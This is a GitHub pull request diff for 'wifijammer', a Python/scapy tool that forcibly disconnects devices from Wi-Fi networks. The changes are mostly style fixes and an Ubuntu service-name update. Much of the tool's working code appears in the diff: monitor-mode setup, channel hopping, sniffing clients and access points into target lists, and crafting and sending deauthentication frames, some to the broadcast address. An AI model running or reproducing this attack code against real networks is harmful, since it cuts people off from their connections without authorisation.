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fix: Type str error and NetworkManager for Ubuntu #136

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fix: Type str error and NetworkManager for Ubuntu #136

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cd86631
Adapt to newer unix versions
mei-ridorsa Feb 9, 2024
b7f7e17
Update .gitignore
mei-ridorsa Feb 9, 2024
c0e8349
Style fixes
mei-ridorsa Feb 9, 2024
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1 change: 1 addition & 0 deletions .gitignore
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Original file line number Diff line number Diff line change
@@ -1 +1,2 @@
env
.idea
100 changes: 52 additions & 48 deletions wifijammer
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Expand Up @@ -13,6 +13,7 @@ import sys
import os
from scapy.all import *
import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Shut up Scapy
conf.verb = 0 # Scapy I thought I told you to shut up

Expand All @@ -28,6 +29,7 @@ GR = '\033[37m' # gray
T = '\033[93m' # tan



def parse_args():
# Create the arguments
parser = argparse.ArgumentParser()
Expand Down Expand Up @@ -112,7 +114,7 @@ def get_mon_iface(args):
return monitors[0]
else:
# Start monitor mode on a wireless interface
print('['+G+'*'+W+'] Finding the most powerful interface...')
print('[' + G + '*' + W + '] Finding the most powerful interface...')
os.system('pkill NetworkManager')
interface = get_iface(interfaces)
monmode = start_mon_mode(interface)
Expand All @@ -125,7 +127,7 @@ def iwconfig():
try:
proc = Popen(['iwconfig'], stdout=PIPE, stderr=PIPE)
except OSError:
sys.exit('['+R+'-'+W+'] Could not execute "iwconfig"')
sys.exit('[' + R + '-' + W + '] Could not execute "iwconfig"')
for line in proc.communicate()[0].decode().split('\n'):
if len(line) == 0:
continue # Isn't an empty string
Expand All @@ -148,7 +150,7 @@ def get_iface(interfaces):

if len(interfaces) < 1:
sys.exit(
'['+R+'-'+W+'] No wireless interfaces found, bring one up and try again')
'[' + R + '-' + W + '] No wireless interfaces found, bring one up and try again')
if len(interfaces) == 1:
for interface in interfaces:
return interface
Expand All @@ -161,28 +163,28 @@ def get_iface(interfaces):
if ' - Address:' in line: # first line in iwlist scan for a new AP
count += 1
scanned_aps.append((count, iface))
print('['+G+'+'+W+'] Networks discovered by ' +
G+iface+W+': '+T+str(count)+W)
print('[' + G + '+' + W + '] Networks discovered by ' +
G + iface + W + ': ' + T + str(count) + W)
try:
interface = max(scanned_aps)[1]
return interface
except Exception as e:
for iface in interfaces:
interface = iface
print('['+R+'-'+W+'] Minor error:', e)
print(' Starting monitor mode on '+G+interface+W)
print('[' + R + '-' + W + '] Minor error:', e)
print(' Starting monitor mode on ' + G + interface + W)
return interface


def start_mon_mode(interface):
print('['+G+'+'+W+'] Starting monitor mode off '+G+interface+W)
print('[' + G + '+' + W + '] Starting monitor mode off ' + G + interface + W)
try:
os.system('ip link set %s down' % interface)
os.system('iwconfig %s mode monitor' % interface)
os.system('ip link set %s up' % interface)
return interface
except Exception:
sys.exit('['+R+'-'+W+'] Could not start monitor mode')
sys.exit('[' + R + '-' + W + '] Could not start monitor mode')


def remove_mon_iface(mon_iface):
Expand All @@ -192,54 +194,55 @@ def remove_mon_iface(mon_iface):


def mon_mac(mon_iface):
'''
"""
http://stackoverflow.com/questions/159137/getting-mac-address
'''
"""
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', bytes(mon_iface, 'utf-8')[:15]))
mac = ':'.join('%02x' % b for b in info[18:24])
print('['+G+'*'+W+'] Monitor mode: '+G+mon_iface+W+' - '+O+mac+W)
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', bytes(mon_iface).encode('utf-8')[:15]))
mac = ':'.join('%02x' % ord(b) for b in info[18:24])
print('[' + G + '*' + W + '] Monitor mode: ' + G + mon_iface + W + ' - ' + O + mac + W)
return mac


########################################
# End of interface info and manipulation
########################################


def channel_hop(mon_iface, args):
'''
"""
First time it runs through the channels it stays on each channel for 5 seconds
in order to populate the deauth list nicely. After that it goes as fast as it can
'''
"""
global monchannel, first_pass

channelNum = 0
maxChan = 11 if not args.world else 13
channel_num = 0
max_chan = 11 if not args.world else 13
err = None

while 1:
while True:
if args.channel:
with lock:
monchannel = args.channel
else:
channelNum += 1
if channelNum > maxChan:
channelNum = 1
channel_num += 1
if channel_num > max_chan:
channel_num = 1
with lock:
first_pass = 0
with lock:
monchannel = str(channelNum)
monchannel = str(channel_num)

try:
proc = Popen(['iw', 'dev', mon_iface, 'set',
'channel', monchannel], stdout=DN, stderr=PIPE)
'channel', monchannel], stdout=DN, stderr=PIPE)
except OSError:
print('['+R+'-'+W+'] Could not execute "iw"')
print('[' + R + '-' + W + '] Could not execute "iw"')
os.kill(os.getpid(), SIGINT)
sys.exit(1)
for line in proc.communicate()[1].split('\n'):
if len(line) > 2: # iw dev shouldnt display output unless there's an error
err = '['+R+'-'+W+'] Channel hopping failed: '+R+line+W
err = '[' + R + '-' + W + '] Channel hopping failed: ' + R + line + W

output(err, monchannel)
if args.channel:
Expand All @@ -254,11 +257,11 @@ def channel_hop(mon_iface, args):


def deauth(monchannel):
'''
"""
addr1=destination, addr2=source, addr3=bssid, addr4=bssid of gateway if there's
multi-APs to one gateway. Constantly scans the clients_APs list and
starts a thread to deauth each instance
'''
"""
pkts = []

if len(clients_APs) > 0:
Expand All @@ -273,9 +276,9 @@ def deauth(monchannel):
# type=0, subtype=12?
if ch == monchannel:
deauth_pkt1 = Dot11(
addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
addr1=client, addr2=ap, addr3=ap) / Dot11Deauth()
deauth_pkt2 = Dot11(
addr1=ap, addr2=client, addr3=client)/Dot11Deauth()
addr1=ap, addr2=client, addr3=client) / Dot11Deauth()
pkts.append(deauth_pkt1)
pkts.append(deauth_pkt2)
if len(APs) > 0:
Expand All @@ -286,7 +289,7 @@ def deauth(monchannel):
ch = a[1]
if ch == monchannel:
deauth_ap = Dot11(
addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap)/Dot11Deauth()
addr1='ff:ff:ff:ff:ff:ff', addr2=ap, addr3=ap) / Dot11Deauth()
pkts.append(deauth_ap)

if len(pkts) > 0:
Expand All @@ -303,27 +306,27 @@ def deauth(monchannel):
def output(err, monchannel):
os.system('clear')
if args.dry_run:
print(P+'***DRY-RUN***'+W)
print(P + '***DRY-RUN***' + W)
if err:
print(err)
else:
print('['+G+'+'+W+'] '+mon_iface+' channel: '+G+monchannel+W+'\n')
print('[' + G + '+' + W + '] ' + mon_iface + ' channel: ' + G + monchannel + W + '\n')
if len(clients_APs) > 0:
print(' Deauthing ch ESSID')
# Print the deauth list
with lock:
for ca in clients_APs:
if len(ca) > 3:
print('['+T+'*'+W+'] '+O+ca[0]+W+' - '+O+ca[1] +
W+' - '+ca[2].ljust(2)+' - '+T+ca[3]+W)
print('[' + T + '*' + W + '] ' + O + ca[0] + W + ' - ' + O + ca[1] +
W + ' - ' + ca[2].ljust(2) + ' - ' + T + ca[3] + W)
else:
print('['+T+'*'+W+'] '+O+ca[0]+W+' - '+O+ca[1]+W+' - '+ca[2])
print('[' + T + '*' + W + '] ' + O + ca[0] + W + ' - ' + O + ca[1] + W + ' - ' + ca[2])
if len(APs) > 0:
print('\n Access Points ch ESSID')
with lock:
for ap in APs:
print('['+T+'*'+W+'] '+O+ap[0]+W+' - ' +
ap[1].ljust(2)+' - '+T+ap[2]+W)
print('[' + T + '*' + W + '] ' + O + ap[0] + W + ' - ' +
ap[1].ljust(2) + ' - ' + T + ap[2] + W)
print('')


Expand All @@ -339,11 +342,11 @@ def noise_filter(skip, addr1, addr2):


def cb(pkt):
'''
"""
Look for dot11 packets that aren't to or from broadcast address,
are type 1 or 2 (control, data), and append the addr1 and addr2
to the list of deauth targets.
'''
"""
global clients_APs, APs

# return these if's keeping clients_APs the same or just reset clients_APs?
Expand All @@ -368,7 +371,8 @@ def cb(pkt):
# Filter out all other APs and clients if asked
if args.accesspoint:
# track bssid for essid
if (pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp)) and pkt[Dot11Elt].info in args.accesspoint:
if ((pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp)) and pkt[Dot11Elt].info
in args.accesspoint):
args.accesspoint.add(pkt[Dot11].addr3.lower())
# bail if bssid is not in target list
if not args.accesspoint.intersection([pkt.addr1.lower(), pkt.addr2.lower()]):
Expand Down Expand Up @@ -452,18 +456,18 @@ def AP_check(addr1, addr2):

def stop(signal, frame):
if monitor_on:
os.system('service network-manager restart')
sys.exit('\n['+R+'!'+W+'] Closing')
os.system('service NetworkManager restart')
sys.exit('\n[' + R + '!' + W + '] Closing')
else:
remove_mon_iface(mon_iface)
os.system('service network-manager restart')
sys.exit('\n['+R+'!'+W+'] Closing')
os.system('service NetworkManager restart')
sys.exit('\n[' + R + '!' + W + '] Closing')


if __name__ == "__main__":
args = parse_args()
if os.geteuid():
sys.exit('['+R+'-'+W+'] Please run as root')
sys.exit('[' + R + '-' + W + '] Please run as root')
clients_APs = []
APs = []
DN = open(os.devnull, 'w')
Expand All @@ -489,6 +493,6 @@ if __name__ == "__main__":
sniff(iface=mon_iface, store=0, prn=cb)
except Exception as msg:
remove_mon_iface(mon_iface)
os.system('service network-manager restart')
print('\n['+R+'!'+W+'] Closing')
os.system('service NetworkManager restart')
print('\n[' + R + '!' + W + '] Closing')
sys.exit(0)